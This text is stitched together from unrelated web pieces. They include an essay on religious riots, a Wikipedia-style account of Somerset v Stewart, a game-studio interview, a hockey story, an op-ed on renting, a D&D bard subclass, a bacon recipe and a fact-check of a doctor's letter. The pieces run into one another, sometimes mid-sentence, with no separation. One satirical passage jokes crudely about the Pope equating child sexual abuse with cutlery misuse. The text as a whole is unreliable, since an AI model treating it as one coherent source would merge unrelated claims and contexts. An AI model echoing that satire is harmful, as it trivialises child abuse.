This was an instance of the political entrepreneurs whipping up religious frenzy to gain specific objectives. A revolt spread throughout the expanse of India to reinstate the Indian aristocracy to power. From Bengal in the east to Punjab in the west, Hindus, Sikhs and Muslims started militant rebellion. Though the rebellion lasted for a good many years, it did not yield intended consequences. The rebellion leaders were all captured and killed, and the British Crown dismantled East India Company and began the 100 year direct government rule of India. Everyone who supported the rebellion and their communities were completely disenfranchised, starved of all opportunities and lived in insolated poverty for the next 50 years.
The rumours of religious dishonour or breach of holiness have become much more frequent in the last two decades. In September 1988, the Indian writer of Kashmiri Muslim origin, Salman Rushdie, published his second novel, Satanic Verses. The novel took a swipe at arch angel Gabriel and questioned whether he was transferring revelations with the highest possible fidelity. The novel led to immediate controversy. A fatwa and a bounty were issued by the Iranian supreme spiritual leader. This played into the sectarian dynamics of Islam. The Muslims are divided between two large competing sects: Shiite and Sunni. Iran is a Shia theocracy. In response to the Shiite fatwa, the Sunni Islamic world responded in hurried catch-up with global riots and protests. Also as a reaction to the fatwa, a blanket ban was placed on the book in several counties.
Surely, the fatwa was not all about the novel’s apparent fairy tale humor in obvious bad taste. The Iranian Qum elite, through this carefully orchestrated move, achieved a definite upper hand in Political Islam, gaining a grudging endorsement of the new Shiite regime in the Muslim world. In the midst of heated reaction to the recent YouTube videos the long dormant fatwa on Salman Rushdie Iran has reissued with a raise in the bounty money on his life to USD 3.3 Millions.Even though Salman Rushdie has declared the video to be outrageous and doesn’t have the remotest link with the recent violence.In quick succession, Hafiz Saeed of Lashkar-i-Taiba (Army of the Righteous) has threatened to close down the US consulates in Pakistan.
However one looks at it, this is not a considerate and coherent response to the YouTube video. Slapping fatwa’s right and left of the issue will not stop the problem. Neither would threats from the likes of Hafiz Saeed shore up the image of Muslims everywhere. The YouTube video is the lowest imaginable instance of cyber bullying by an obviously deranged individual. A rational response would be to use this unfortunate instance to explain the great faith of more than a Billion people, reach out across faith lines, send out clerics to the western media forums and provide a counter narrative to those who have no other reference point to the Islamic world than news of Muslim rage. This uncontrollable rage is not helpful.
The phenomenon of Muslim rage is attributed to cartoons, teddy bears, Facebook pages, YouTube videos, little known priests in retirement home states, irretrievable writings on burnt pages and home movies instead of greasy bullets. These are orchestrated reaction to any perceived snub at all, anything that can start the chain reaction of rage, riots and right wing jingoism.
To better understand the phenomenon, it is a dyadic exchange taking place on social media between the origin of the rumor and those who receive it. It is attempted communication across cultures gone awry. The nature and origin of the rumour is of one of the following types:
An act of omission: Say a failure to verify or report whether animal fat grease on the bullets in 1853 was beef and pork. It could hardly be both. To this day, no one knows which it was.
For the sake of Art: In the twentieth century art has to be shocking or should reveal a hidden truth. For the people producing caricature images or movies about Islam, it serves both the purposes. It is shocking as it claims that a whole segment of world population is violent and strange. But it is not true by assertion. Ironically the response to the works: violence proves the thesis of the art work as true.
Professional Pranksters: Feckless individuals who gain vicarious pleasure out of the mayhem that follows these incidents. The YouTube video with origin attributed to an Egyptian Coptic Christians is a case in point. The objective is clear: to en-flame emotions and incite violence. Make no mistake these pranksters are in equal number on both sides. Equal number of cases can be cited where members of the Muslim community planted such evidence to start the rioting for vested interest.
On the receiving end, there are different reasons why people in the Islamic world seek bloody revenge. Virulent rioting breaks across majority of the 50 Muslim countries, spilling invariably innocent blood.
It is not about the original offense but Economics: People are revolting against food prices, cost of living, and overall lack of opportunities. This argument can be made about every such event. Even in the Indian Sepoy rebellion of 1857, the sepoys are said to be revolting against lack of promotion opportunities to officer rank. Though present day riots are not in imperial colonies, the argument is made that the West could do more to lift them out of poverty, same as for the sepoys serving in East India Company. The question is why be so coy, why not call what it is instead of using this excuse of religious offense every time.
The West has to be taught to respect us: The West would not respect the Islamic world. This theory is further corroborated with every such incidence, another vindication of Islam being under siege. In order to restore the “lost” prestige, it is important to go out and do something so revolting, repulsive and violent that people causing disrespect think twice before committing “disrespect” again. Sounds far fetched?
It is the failure of US President’s Middle East policies: The angry rioters are reacting to the US foreign policy. It is a show off to the US, the street power in the Middle East. Usually the US embassies and diplomatic missions are targeted by mobs to send a grotesque message. The recent US support of the Libyan democratic government defies this logic. The free citizens of Libya used their new found freedom on the people who helped provide it. The crime was heinous and unprovoked but also belies betrayal of a friend to Libya.
It is dissatisfied youth reacting to local despotic rulers: Barring a few, almost all Muslim countries are without longstanding democratic traditions. The youth do not have channels to direct their anger on a regular basis. These incidences are rare outbursts when it is “okay” to come out and express rage. It is when the state apparatus looks away; the wealthy in the society are also sympathetic, so the dissatisfied youth simply go berserk.
Whatever the motivation or facts behind the rumor or the justification for the reaction, these mass religious frenzies happen too often to continue unchecked. The toll on social life, damage to property, and mounting innocent victims count, escalates with each passing year. As it is a dyadic exchange, if either side stops, the issue is dead. Such random rumors of alleged disrespect must be taken to international courts and tried for defamation rather than taking it out on the streets. Either the systems can be tuned to squash such rumors upon origin or the Islamic world be informed that everything is not a grand conspiracy to destroy the Islamic faith. If anything, this rage is the greatest threat to the faith in several centuries. Nonetheless, strong International public discourse channels have to be established that deny or clarify the claims of religious disrespect.
To check the offenders, it is the duty of democratic societies to censure and condemn actions that can be offensive. As part of the diverse polity of nations everyone understands this obligation. Then why are such episodes becoming increasingly frequent? However the variables at play are factored in, it comes out in the interest of extreme right wing everywhere to continue inciting such violent episodes. As these events create panic among mainstream public, and allow the right-wing agenda to take over the conversation. The right wing either in the West or the Islamic world uses such incidences to muffle the mainstream voices and become relevant. Everyone else either shuts up or scampers for cover. The hawks in Western governments push for a hard line; which is reduce or severe ties with Islamic world. If this Muslim rage continues, fewer westerners would visit Islamic countries, and reciprocally much stricter visa restrictions for Muslims to travel outside the region. For once tourism, trade and foreign direct investment from the Western countries will dry up. Far less workers from the Muslim world will be able to go and work in the West and send back the billions of dollars of remittances to their home countries.
The modern products, soft wares and services are modularly developed. Each module has a set of units developed and designed in independent companies operating in different countries. The modules are brought together in another third party location. The distributed value creation is through off-shoring, out sourcing and subcontracting across countries. An average global value chain is composed of thousands if not tens of thousands of first, second, third and onward tier selection decisions. Sophisticated models are used to evaluate risk factors before every single supply chain decision. The Muslim world is not a monolith. Rather it is stratified on several levels. The wealthy Muslim majority states including Malaysia, Turkey, Qatar, UAE understand the risk calculus and will side with the west to remove the volatile countries from critical supply chains. Already global supply chains are actively selecting out countries with risk of disruptions. There are several international high tech companies, with multimillion dollars development offices in cities including Lahore and Karachi weighing the risk of internet blackout. The companies that haven’t already rolled back their offices, are working on contingency plans and alternative locations to direct the work flow. No country can continue to have open relationship with the rest of the world and also have convulsive seizures in normal life.
The state machineries turns a blind eye to the rage and the violence. It is to gain points with the right-wing or put up a show for the West – the bogeyman of Islamic radicalism. The support is slipping; bogeyman diplomacy is not working anymore. It is the duty of progressive media to stand up to the tyranny of rage. Say we are also hurt and disgusted, but this is not the way to react. Because in the long run predictably sustained and frequent violence from such incidences will strengthen the Islamist parties, sideline the mainstream and eventually pave the way for radical Islamists takeover. Is the reader ready to pay this price?
The average Muslim, going about her daily life, is cracking under fatigue from repeated instances of such traumas and the subsequent disruption in normal life. The sense of victim-hood gets hammered into the collective psyche with every episode. It is as if a billion souls have been turned into these marionettes, the traditional dolls that are held straight up and made to perform intended moves by playing the strings. The strings are managed by the controller, appropriately called the “manipulator”. It has never happened in human history that so few, with no talent, skill or good sense to speak of, can manipulate the lives of billions with their feckless actions.
The author specialises in risk analytics.Somerset v Stewart (1772) 98 ER 499 (also known as Somersett's case, and in State Trials as v.XX Sommersett v Steuart) is a famous judgment of the Court of King's Bench in 1772, which held that chattel slavery was unsupported by the common law in England and Wales, although the position elsewhere in the British Empire was left ambiguous. Lord Mansfield decided that:
The state of slavery is of such a nature that it is incapable of being introduced on any reasons, moral or political, but only by positive law [statute], which preserves its force long after the reasons, occasions, and time itself from whence it was created, is erased from memory. It is so odious, that nothing can be suffered to support it, but positive law. Whatever inconveniences, therefore, may follow from the decision, I cannot say this case is allowed or approved by the law of England; and therefore the black must be discharged.[1]
Slavery had never been authorized by statute in England and Wales, and Lord Mansfield's decision found it also unsupported in common law. Lord Mansfield narrowly limited his judgment to the issue of whether a person, regardless of being a slave, could be removed from England against their will, and said they could not. Even this reading meant that certain property rights in chattel slaves were unsupported by common law. It is one of the most significant milestones in the abolitionist campaign.
Some historians believe the case contributed to increasing colonial support for separatism in the Thirteen Colonies of British North America, by parties on both sides of the slavery question who wanted to establish independent government and law.[2] The southern colonies wanted to protect slavery and expanded their territory dramatically in the decades after independence was won.[3][4]
Facts [ edit ]
James Somerset, an enslaved African, was purchased by Charles Stewart or Steuart, a Customs officer when he was in Boston, Province of Massachusetts Bay, a British crown colony in North America.[5]
Stewart brought Somerset with him when he returned to England in 1769 but in 1771 Somerset escaped. After he was recaptured in November, Stewart had him imprisoned on the ship Ann and Mary (under Captain John Knowles), bound for the British colony of Jamaica. He directed that Somerset be sold to a plantation for labour. Somerset's three godparents from his baptism as a Christian in England, John Marlow, Thomas Walkin and Elizabeth Cade, made an application on 3 December before the Court of King's Bench for a writ of habeas corpus. Captain Knowles on 9 December produced Somerset before the Court of King's Bench, which had to determine whether his imprisonment was lawful.
The Chief Justice of the King's Bench, William Murray, 1st Earl of Mansfield, ordered a hearing for 21 January; in the meantime he set the prisoner free on recognisance. A request to prepare arguments was granted Somerset's counsel and so it was not until 7 February 1772 that the case was heard. In the meantime, the case had attracted a great deal of attention in the press and members of the public donated monies to support the lawyers for both sides of the argument.
Granville Sharp, an abolitionist layman who continually sought test cases against the legal justifications for slavery, was Somerset's real backer. When the case was heard, five advocates appeared for Somerset, speaking at three hearings between February and May. These lawyers included Francis Hargrave, a young lawyer who made his reputation with this, his first case; James Mansfield, Serjeant-at-law William Davy, Serjeant-at-law John Glynn; John Alleyne, and the noted Irish lawyer and orator John Philpot Curran[citation needed] whose lines in defence of Somerset were often quoted by American abolitionists (such as Frederick Douglass).
Somerset's advocates argued that while colonial laws might permit slavery, neither the common law of England nor any law made by Parliament recognised the existence of slavery and slavery was therefore unlawful.[6] The advocates also argued that English contract law did not allow for any person to enslave himself, nor could any contract be binding without the person's consent. The arguments focused on legal details rather than humanitarian principles. When the two lawyers for Charles Stewart put their case, they argued that property was paramount and that it would be dangerous to free all the black people in England, who numbered at the time approximately 15,000.
Judgment [ edit ]
Lord Mansfield heard arguments and first gave a short opinion in court, encouraging the parties to come to a settlement by letting Somerset go free. Otherwise, he said that a judgment would be given. As he put it, let justice be done whatever the consequence.
Easter Term, May 14, 1772.... Mr. Stewart advances no claim on contract; he rests his whole demand on a right to the negro as slave, and mentions the purpose of detainure to be the sending of him over to be sold in Jamaica. If the parties will have judgment, fiat justitia, ruat cœlum, let justice be done whatever be the consequence. 50ℓ. a head may not be a high price; then a loss follows to the proprietors of above 700,000ℓ. sterling. How would the law stand with respect to their settlement; their wages? How many actions for any slight coercion by the master? We cannot in any of these points direct the law; the law must rule us. In these particulars, it may be matter of weighty consideration, what provisions are made or set by law. Mr. Stewart may end the question, by discharging or giving freedom to the negro.
Having heard both sides of the argument, Lord Mansfield retired to make his decision, and reserved judgment for over a month. He gave his judgment on 22 June 1772. (this version is transcribed from a letter to the General Evening Post, reporting on the trial. It has modern paragraphing):[7]
Lord Mansfield. Trinity Term, June 22, 1772. We pay due attention to the opinion of Sir Philip York and Mr. Talbot in the year 1729, by which they pledged themselves to the British planters for the legal consequences of bringing slaves into this kingdom, or their being baptized; which opinion was repeated and recognized by Lord Hardwicke, sitting as Chancellor on the 19th of October, 1749, to the following effect: he said, that trover would lay for a negro slave; that a notion prevailed, that if a slave came into England, or became a Christian, he thereby became emancipated; but there was no foundation in law for such a notion; that when he and Lord Talbot were Attorney and Solicitor General, this notion of a slave becoming free by being baptized prevailed so strongly, that the planters industriously prevented their becoming Christians; upon which their opinion was taken, and upon their best consideration they were both clearly of opinion, that a slave did not in the least alter his situation or state toward his master or owner, either by being christened, or coming to England; that though the statute of Charles II had abolished tenure so far, that no man could be a villein regerdane [sic], yet if he would acknowledge himself a villein engrossed in any Court of Record, he knew of no way by which he could be entitled to his freedom without the consent of his master. We feel the force of the inconveniences and consequences that will follow the decision of this question. Yet all of us are so clearly of one opinion upon the only question before us, that we think we ought to give judgment, without adjourning the matter to be argued before all the Judges, as usual in the Habeas Corpus, and as we at first intimated an intention of doing in this case. The only question then is, Is the cause returned sufficient for the remanding him? If not, he must be discharged. The cause returned is, the slave absented himself, and departed from his master's service, and refused to return and serve him during his stay in England; whereupon, by his master's orders, he was put on board the ship by force, and there detained in secure custody, to be carried out of the kingdom and sold. So high an act of dominion must derive its authority, if any such it has, from the law of the kingdom where executed. A foreigner cannot be imprisoned here on the authority of any law existing in his own country: the power of a master over his servant is different in all countries, more or less limited or extensive; the exercise of it therefore must always be regulated by the laws of the place where exercised. The state of slavery is of such a nature, that it is incapable of now being introduced by Courts of Justice upon mere reasoning or inferences from any principles, natural or political; it must take its rise from positive law; the origin of it can in no country or age be traced back to any other source: immemorial usage preserves the memory of positive law long after all traces of the occasion; reason, authority, and time of its introduction are lost; and in a case so odious as the condition of slaves must be taken strictly, the power claimed by this return was never in use here; no master ever was allowed here to take a slave by force to be sold abroad because he had deserted from his service, or for any other reason whatever; we cannot say the cause set forth by this return is allowed or approved of by the laws of this kingdom, therefore the |
then there’s other things, like the poker game, that we did release. Those are really challenging our dialogue system. One of the interesting things, if you played Poker Night 2, while they’re telling their stories, they’ll start bantering about stuff at the table like you were playing poker with your buddies.
But you can overtly experience this, because if a good hand happens in the middle of the story, they stop telling the story. “Holy crap, what’s gonna happen here?” If they’re in the middle of telling a story and you just go all in with bad cards, they stop telling their story and they’re like, “What’s this guy doing? He’s insane.” They start talking about that, and then after the hand is over, they’ll pick up the story again. That came out of a bunch of experimentation with our dialogue engine and how it could track what stories are being told at the same time or interrupt stories and recover stories.
Poker 2 is a really good example of where we push that to a refined level. But it’s all hidden under this big dumb poker game. Comedy poker. I hope that with Telltale products, the technology doesn’t overshadow the storytelling. I hope that nobody looks at Poker and says, “Oh, I can see the gears turning and the dialogue system working.” It should just feel natural and organic. We enabled the writers to write something that was dynamic and adaptive, but didn’t feel artificial.
[pullquote]I think you’ll see us going back to comedy and exploring genres we’ve never done before.[/pullquote]
RPS: At this point, your two biggest projects involve zombies and a not-exactly-werewolf. You do both in unique ways, but those are pretty traditional game premises. Zombie apocalypse and fantasy. Are you hoping to maybe get a little more experimental with your themes and settings in the future?
Bruner: Yeah, we’ve got some other things in production that are unannounced. We’ve spent a lot of time with comedy. I think you’ll see us going back to comedy and exploring other genres that we’ve never done before. We’ve never done sci-fi. We’ve done a lot of crime. Action is something that we’re kind of getting used to now. There are definitely other places we’re going, but it’s still story worlds. We’re still going to be centered around characters and their situations. Probably people? [laughs] We could do a game with nothing but animals.
RPS: Tokyo Jungle!
Bruner: Yeah. We’re branching out and spreading our wings a little bit, but I don’t think you’re going to see an RPG or an FPS or something like that from Telltale.
RPS: Oh, but speaking of more traditional sorts of games, you had King’s Quest there for a bit. Now you don’t. What happened? Did you just decide to not renew the license because you’re headed away from old-school-style adventures?
Bruner: Yeah. And we’re still a little capacity-constrained. We are giant King’s Quest fans and I’m very sad that we’re not going to be able to work on it, but there are other giant King’s Quest fans in the world, and I think that King’s Quest is going to be in very good hands.
We have a new audience that we’re trying to serve. We’re trying to be very progressive about things. I think that it would be a disservice to King’s Quest to go out and reinvent it as something it’s not. It would be a disservice to a lot of what Telltale is doing right now to not try to do the kind of innovative things that we’re pushing boundaries with. I think King’s Quest is going to be in very good hands, though, and we’ll all be very happy with what we see from King’s Quest in the future.
RPS: Thank you for your time.Before the Oilers faced the Canadiens on Tuesday night, Montreal forward Lars Eller had some comments about his team's next opponent.
"It can be anything, you know? They play a little bit like a junior team, I think, sometimes," Eller said, via Chris Stevenson of Canoe.ca. "They take a lot risks, a lot of chances. They’re a little all over the place. There’s not a lot of structure always in their game. It can really be anything. You don’t know."
So. About that.
After falling behind 2-0 in the first period, and playing without Taylor Hall, their best player, the Oilers scored four consecutive goals to rally for a 4-3 win. After the game, Oilers first-year coach Dallas Eakins had some words for Eller.
"It's games like that you don't even really need to go play them," Eakins said. "When you have a player like Lars Eller running his mouth before the game, it makes for great banter in our dressing room, and a great motivation. So we thank Lars Eller for his comments before the game. Awesome."
When asked if bulletin board material is still used in today's game, Eakins said "Absolutely."
"You've got some young player who is trying to get his feet wet calling an organization a junior team, people take notice. I knew it was going to turn. It's just one of those things, it's a total hockey god thing and I'm sure that young man has learned his lesson and I highly doubt you'll ever see anything like that out of his mouth again."
And he wasn't done. Near the end of his media session Eakins finished by adding, "They might as well have sent me over a fruit basket and a bottle of wine. I was like Man, that is just perfect. That was a really great present that Mr. Eller laid on us today."
So, along with eating healthy we'll add bulletin board material and the hockey gods to the list of things that Eakins believes in.
Here is the complete video of Eakins' press conference.
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• The Goal: The rivalry between two high schools where hockey is lifeSEXUALLY abusing a child is as sinful as eating soup with a dessert spoon, Pope Benedict confirmed last night.
Launching the latest edition of The Vatican’s Quarterly Guide to Sinning, the Pope said that God would take up to three years to forgive those who misused cutlery, placing it in the same ‘Sin Basket’ as underage sodomy.
The Pontiff said: “I’ve arranged all the major sins in a series of handy baskets. The top basket is things like condoms and abortion and women having thoughts.
“The next basket is certain kinds of war and being a bit shy with the old collection plate. And down here in the 24th basket is child buggery and spoon ignorance.
“That doesn’t mean that spoon ignorance is okay, it just means that if you are, for instance, a priest and you get stuck into a bowl of Scotch broth with the spoon that was positioned at the top of the place setting at right angles to the knife and fork, then there’s only so much we can do to protect you.”
He added: “Men who use the wrong cutlery have simply lost their way on the path to God. And we also have to remember that, in the right light, a dessert spoon can be incredibly sexy.”
Outlining the latest sin formulas, the Pope said that child violation equalled three parking tickets or two consecutive weeks of putting paper and plastic in the same recycling bag.
Meanwhile, the Church is now offering an exchange rate of three acts of paedophilia to one act of fly-tipping.It’s so clear that is what is going on here.
There is a concerted effort to make “Bernie Supporter” a pejorative and to create a group identity that any Liberal/Progressive/Democrat would start to hesitate to be identified with because Bernie supporters are (according to the trope): white, male, racist, sexist, misogynist, angry, prone to violence, etc. etc.
This is a new angle — don’t attack the leader of a movement or their issues, but characterize and stigmatize the followers or rank and file as characters that you wouldn’t want to be associated with. We’ve seen this from the very earliest days in a more benign form- Bernie “appealed” to white male voters — the racism, sexism and misogyny were just hinted at, but the subliminal messaging is clear.
But now it’s all in the open, no holds barred with pleas and/or demands from Democrats for Bernie to bring all his violent, liberal, supporters to heel. This is just beyond the pale and the Democrats have pushed a very dangerous envelope.
It’s one thing for liberal progressive Democrats to be disappointed and/or disillusioned. We’re used to that. It’s an entirely different thing to be DISGUSTED to your core by the collective actions of your current and very possibly former party. The Democrats and the DNC and all the people going down this very wrong-headed path of stigmatizing Bernie voters are doing the most effective things they could possibly do if they want to permanently alienate a LARGE portion of the Democratic Party who will very possibly sit out the election, or write-in a vote or vote a protest Third Party vote for the Greens. And the person to blame will not be Bernie Sanders. It will be all TPTB within the Party who will have finally achieved their greatest dream:
Drive out all those annoying liberal, bleeding heart, working class, poor, FDR Democrats once and for all.Last weekend saw the government announce “a better deal for tenants”. Could it be that someone in Westminster has belatedly realised that buying a home is no longer a viable option? Because of surging house prices, job insecurity, and no access to a deposit, for many it is nigh on impossible.
The dream of home ownership for all is over. Even the Tories recognise this | Suzanne Moore Read more
A senior Whitehall source said: “We want to help renters get more choice, a better deal and more secure tenancies.” Excellent news. But the proposed three-year minimum agreement and a vague promise to make things better by themselves won’t cut it. The entire private rental sector needs a complete rethink; for someone to turn it off and turn it back on again. Not just mere tinkering but a complete overhaul. Here’s how:
First, let’s end the worst part of renting: the crushing burden of insecurity. Tenants never know how long they can stay, usually getting by with the threat of two months’ notice. Six-month tenancies are the rule and a 12-month tenancy is increasingly rare. A minority enjoy the option to flit in and out of homes, perhaps for notions of freedom to move when responsibilities are minimal. But most of us want to be able to stay put.
It should become customary for tenancies to last for years, decades, or even an entire lifetime (unless there is severe misbehaviour on the part of tenants). Nicola Milner, a former landlady of the year I once interviewed, has never evicted a tenant for arrears; rather she negotiated a repayment plan. Tenants remained and paid off their debt. So, let it be presumed that tenants can stay for ever, and not at the mercy of letting agents who benefit financially from costs incurred in the churn of constant moving.
Next we need to reset society’s view of renting. A rented home is not a favour or a gift. Tenants are, in a sense, paying rent for a curtailed form of ownership. Finland has formalised this idea by introducing a unique form of tenancy called right-of-occupancy, an alternative to renting or buying your own home. By paying a right-of-occupancy fee – about 15% of the total price of the apartment – and a monthly charge (rent), you get the same rights to your home as if you owned it. This lasts decades, and in certain circumstances even allows tenants to alter the property’s structure.
Facebook Twitter Pinterest To let signs in Birmingham: ‘It should become customary for tenancies to last for years.’ Photograph: Christopher Furlong/Getty Images
In some European countries, especially Spain, tenancies can last for generations, with grandparents renting a flat, passing the right to occupancy down to their children; possibly for ever. Of course, it does help if apartments are grand, with a lovely terrace or two (and a warmer climate to enjoy it), and is in the context of a society where renting is not second best but the norm. The advantages are obvious: from intergenerational living to the balm of stability.
We also need properly enforced rent controls. One notorious Glaswegian letting agency compels tenants to sign and agree to annual rent rises (even when inflation and interest rates are low). Rent controls would also rein in building societies that insist buy-to-let rentiers charge at least 150% of their mortgage as rent.
There exists a specious argument that rent controls cause a stagnating rental market (translation: tenants stay long-term and rents are stable). This theory encouraged John Major’s government to pass the regressive 1996 Housing Act to end long-term tenancies. But remember this: back in the 80s, a mortgage was two-and-a-half times annual incomes, not eight to 10 times as it is now. Consequently home ownership was a natural stage in life: those who could bought and those who couldn’t rented one place for ever. As is right and proper.
Scottish housing benefit reforms to offer tenants greater flexibility Read more
It seems obvious, but tenants require the freedom, indeed the right, to treat a home as, well, a home. This means the option to adapt and customise, such as redecorating. The freedom to paint walls, and change the curtains. Banishing a life spent living as I once did in a home where the landlord had installed a mirror in a tacky gold frame then painted around it so removal left an unsightly gap.
In Germany and indeed throughout much of Europe, homes are rented entirely unfurnished, often without white goods. Despite the initial outlay, many tenants would welcome the ability to select their own appliances, no longer lumbered with chugging, energy-guzzling fridge-freezers and washing machines with spin cycles so thunderous they sound like harbingers of the apocalypse.
Let’s do this properly. Initiate the assumption that tenancies are for life and all renters will gain exponentially from increased security. Imagine a home with a pet. A permanent home that allows children to stay in one school. Imagine renters being part of established communities, better able to take part; to volunteer, even registering to vote. I wonder if that might have anything to do with the government’s announcement, or has a life of renting made me cynical?College of the Tankard
Some Bards sing, some Bards dance. Some tell tales, some weave lies. Some play the fool, some mock those in power. While many Bards spend their lives in many fields, they all have one thing in common; the tavern. Bards from across the world are always at home at the local pub, bar, inn, tavern or local dive. It is here many find their calling, and it is here many stay. Wether a boon or bane to their travelling companions, Tankard Bards are always the life of the party.
Passed Out
Upon selecting this College at level 3, you have learned to regain some of your magical energy by passing out. Once per day when you finish a short rest, you can choose expended spell slots to recover. The spell slots can have a combined level that is equal to or less than half your Bard level (rounded up), and none of the slots can be 6th level or higher.
For example, if you're a 4th-level Bard, you can recover up to two levels worth of spell slots.
You can recover either a 2nd-level spell slot or two 1st-level spell slots.
During this short rest, you can only use a single Hit Die to recover Hit Points with and no one but yourself may benefit from your Song of Rest ability.
Once you have used this ability, you cannot use it again until you finish a Long Rest.
Secret Brew
Also at 3rd level, your drinks themselves become imbued with some of your magical essance. As a Bonus Action, you may choose yourself or an ally within 5 feet of you. Roll and expend one of your Bardic Inspiration dies and add your Charisma modifier to the roll. Yourself or the ally you have targetted gain the total as Temporary Hit Points. They also gain advantage against the Frightened Condition, but gain disadvantage agianst the Charmed condition. If you provide your Secret Brew to a target that is unconsious, they also regain 1 hit point, in addition to the other
Additionally, you gain proficiency with Brewer's Supplies.
Don't Stop The Party
Upon reaching level 6, your movements have become eradic. You may take the Disengage action as a Bonus Action.
Additionally, if you were to be brought to 0 hit points, but not killed out right, you may use your reaction to make one last hooray before falling. As your reaction, you may cast any Cantrip, 1st or 2nd level spell that you know with a casting time of 1 action that does not regain hit points to yourself. Once you have used your reaction, you take the damage that would bring you to 0, and you fall unconscious. If you are brought back within 2 rounds of going down, for the first turn you are back up, you are considered Stunned.
Once you have used this feature, you may not use it again until you have finished a long rest.
Credit: innroadsministries
Tapped Keg
Upon reaching level 14, your drinking habits have finally caught up to you. Your mind is such mess that anyone who tries to enter it will have a hard time doing so. Anyone who wishes to subject you to an Intelligence, Wisdom or Charisma saving throw must first make an Intelligence saving throw against your Bard Spell Save DC. If they fail the save, the creature must choose a new target or lose the action.About
Our team is trying to make a science fiction web series called Paradox.
The story revolves around Henry, a scientist, who develops a time machine. However with the immense cost of upkeep and maintenance, he has to find a way to keep it operational. With the help of Charlotte, a determined thief, Henry travels through time collecting objects from history. Edgar, an old friend of Henry's, does research on the artifacts to prevent altering the past. After the trio acquires the objects, they turn to the mysterious Dez to fence them for a hefty profit...
Our team's goal is to create a high quality web series, with a compelling story and memorable cast, available for free online, but we're having trouble because of our limited resources. With your help, we will be able to make this happen. All of the money that is donated will go to camera equipment, lighting equipment, set dressing, props, and web hosting for the Paradox website. But, of course, we wouldn't want to just take donations. We plan on giving something back to every single person that contributes to the project. With each of the different rewards we offer, we not only hope to show our appreciation for the contributions, we would like you to become fans of the show.
Please visit: http://www.facebook.com/pages/Paradox-Web-Series/119632948096417
for updates and more information!Photo
BACON has nudged its way into every cranny of culinary fashion, be it vodka cocktails, short-rib braises or caramel cupcakes. It’s everywhere. Still. And for good reason: A little bit of bacon packs an umami-rich punch for simple salads, soups or pots of otherwise virtuous greens — not to mention the role it plays in Sunday morning’s alchemy of coffee and newsprint.
Best of all, you can make it at home, in a single week and with no special equipment.
Bacon’s flavor, as with that of any charcuterie, directly reflects the meat that is being cured, so start with great pork belly from a butcher or a farmer. Ideally, the cut will be squared off and evenly thick. If there is a rind, or skin, ask the butcher to remove it, but for heaven’s sake don’t leave it behind. That skin will make chicharrones, a treat so outrageous that you may forget how much you love bacon.
No discussion of homemade bacon is complete without a debate about using a nitrate, a curing agent. Pink salt, also known as curing salt No. 1, is a nitrate, a combination of sodium chloride — table salt — and nitrite, a preserving agent used to deter the growth of bacteria in cured meats. Bacon is cured in the refrigerator, then slow roasted, and finally cooked again before serving. It is not being consumed as a raw, cured meat, so the use of a nitrate is a personal decision.
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A small amount of pink salt in your cure provides that familiar pink color and bacon-y flavor, or what we have come to know as bacon-y. It is absolutely possible to cure bacon without nitrates; but be aware that the end product will be more the color of cooked pork and that the flavor will be akin to that of a pork roast. With or without the pink salt, homemade bacon is worth the effort.
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You could simply rub the pork belly with salt, and seven days later roast it and call it bacon. But the real art is in adding elements of savory or sweet to create an original flavor. A salt cure is an age-old preservation technique that, when used by an inspired modern cook, might lead to combinations like maple/coffee/rosemary or miso/rock sugar/star anise or brown sugar/orange peel/garlic. With experimentation, you will have bacon ready-made for hosting a weekend brunch, starting stews, scattering over salad or adding to popcorn.
The pork belly is rubbed with the cure, then refrigerated for a week, after which a one- or two-hour slow roast finishes the bacon. Once it is chilled, slice it thick or thin, and crisp it in a skillet or in the oven.This should be on the front page of every newspaper in America — in large bold letters. This was a “letter to the editor” in August 29th Jackson, MS newspaper. Dear Sirs: During my last night’s shift in the ER, I had the pleasure of evaluating a patient with a shiny new gold tooth, multiple elaborate
tattoos, a very expensive brand of tennis shoes and a new cellular telephone equipped with her favorite R&B tune for a ringtone. Glancing over the chart, one could not help noticing her payer status: Medicaid. She smokes more than one costly pack of cigarettes every day and, somehow, still has money to buy beer. And our Congress expects me to pay for this woman’s health care? Our nation’s health care crisis is not a shortage of quality hospitals, doctors or nurses. It is a crisis of culture — a culture in which it is perfectly acceptable to spend money on vices while refusing to take care of one’s self or, heaven forbid, purchase health insurance. A culture that thinks “I can do whatever I want to because someone else will always take care of me”. Life is really not that hard. Most of us reap what we sow. Don’t you agree? STARNER JONES, MD
Jackson, MS
The item reproduced above is one of several Internet-circulated variants of an 23 August 2009 letter to the editor published by the Jackson, Mississippi, Clarion Ledger from Dr. Roger Starner Jones, a physician who specializes in emergency medicine at the University of Mississippi Medical Center. Dr. Jones’ letter was printed under the title “Why Pay for the Care of the Careless?” and read as follows:
Dear Sirs:During my last night’s shift in the ER, I had the pleasure of evaluating a patient with a shiny new gold tooth, multiple elaborate tattoos, a very expensive brand of tennis shoes and a new cellular telephone equipped with her favorite tune for a ring tone. Glancing over the chart, one could not help noticing her payer status: Medicaid. She smokes more than one costly pack of cigarettes every day and somehow still has money to purchase beer. And our President expects me to pay for this woman’s health care? Our nation’s health care crisis is not a shortage of quality hospitals, doctors or nurses. It is a crisis of culture — a culture in which it is perfectly acceptable to spend money on vices while refusing to take care of one’s self or, heaven forbid, purchase health insurance. A culture than thinks I can do whatever I want to because someone else will always take care of me. Life is really not that hard. Most of us reap what we sow. Starner Jones, MD Jackson, MS
On 6 September 2009, the Clarion Ledger published a follow-up letter from another reader under the title “Health Care Reform Is Not ‘Us vs. Them'”:
I’ve been stewing about an Aug. 23 letter to the editor (“Why pay for the care of the careless?”) in which Dr. Starner Jones questioned the worth of a patient to receive Medicaid because of her gold tooth, tattoos, R&B ring tone on a new cell phone, cigarette-smoking and beer-drinking. This kind of personal attack is nothing new with the hateful rhetoric of late. But it’s a real slippery slope when one questions whether another human merits support for health care because of appearances and choices. There are a lot of folks in this state who make less-than-perfect choices about finances and health. We are the poorest, fattest state, after all. We need to turn off our TVs and radios and do our own research on health care reform. All the Fox-fed and MSNBC-led masses are out spewing the same language the pundits are using.
Look at entities who, bottom line, want to raise their ratings and celebrity, not facilitate a meaningful or productive discourse. This country deserves more. Read the health care reform bill. And learn the real issues of our entire community. We’re all Americans. This is no “us vs. them” issue. We are all in this together. Jennifer Sigrest Clinton
Dr. Jones submitted another letter to the Ledger which was published (under the title “America Is Still the Land of Opportunity — for Everyone”) on 11 January 2010:To the Peoples of the World,
To the Media,
To the National and International Sixth,
